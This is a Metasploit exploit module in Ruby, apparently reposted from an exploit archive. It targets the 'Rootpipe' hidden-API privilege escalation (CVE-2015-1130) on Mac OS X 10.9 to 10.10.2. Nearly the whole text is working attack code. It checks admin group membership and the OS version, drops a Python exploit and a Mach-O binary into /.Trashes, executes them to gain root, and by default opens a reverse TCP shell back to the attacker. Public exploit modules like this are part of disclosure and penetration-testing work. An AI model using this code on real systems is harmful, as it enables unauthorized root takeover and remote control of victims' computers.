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Mac OS X "Rootpipe" Privilege Escalation

2015-04-13 18:55
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
'Description' => %q{
This module exploits a hidden backdoor API in Apple's Admin framework on
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

Tested on Yosemite 10.10.2 and should work on previous versions.

The patch for this issue was not backported to older releases.

Note: you must run this exploit as an admin user to escalate to root.
},
'Author' => [
'Emil Kvarnhammar', # Vulnerability discovery and PoC
'joev', # Copy/paste monkey
'wvu' # Meta copy/paste monkey
],
'References' => [
['CVE', '2015-1130'],
['OSVDB', '114114'],
['EDB', '36692'],
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
],
'DisclosureDate' => 'Apr 9 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Targets' => [
['Mac OS X 10.9-10.10.2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
'CMD' => '/bin/zsh'
}
))

register_options([
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end

def check
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end

def exploit
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, python_exploit)
register_file_for_cleanup(exploit_file)

print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)

print_status('Executing exploit...')
cmd_exec(sploit)
print_status('Executing payload...')
cmd_exec(payload_file)
end

def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
)
end

def admin?
cmd_exec('groups | grep -wq admin && echo true') == 'true'
end

def sploit
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
end

def python_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
))
end

def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end

def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end

def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end

end




Source: 54763/stiolpxe/moc.bd-tiolpxe.www

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